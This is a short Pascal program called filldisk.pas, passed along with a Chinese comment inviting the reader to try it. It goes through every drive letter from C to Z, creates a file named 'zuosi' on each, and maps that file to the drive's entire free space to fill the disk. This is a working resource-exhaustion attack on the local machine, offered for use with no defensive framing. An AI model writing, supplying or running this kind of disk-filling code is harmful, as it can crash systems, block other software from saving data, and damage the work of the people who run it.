//试试看这个filldisk.pas
uses windows;
function s2pc(s:string):pchar;inline;
begin s:=s+#0;s2pc:=@s[1];end;
var c:char;
var f:handle;
var fs,ts,tf:int64;
begin
for c:='C' to 'Z' do
begin
write('Fill=',c,' ');
GetDiskFreeSpaceEx(s2pc(c+':'),fs,ts,@tf);
write('Space=',hi(fs):3,lo(fs):10,' ');
f:=CreateFile(s2pc(c+':\zuosi'),GENERIC_ALL,0,nil,OPEN_ALWAYS,0,0);
write('Create=',getlasterror:4,' ');
CreateFileMapping(f,nil,PAGE_READWRITE,hi(fs),lo(fs),nil);
writeln('Size=',getlasterror:4,' ');
end;
write('finish');
readln();
end.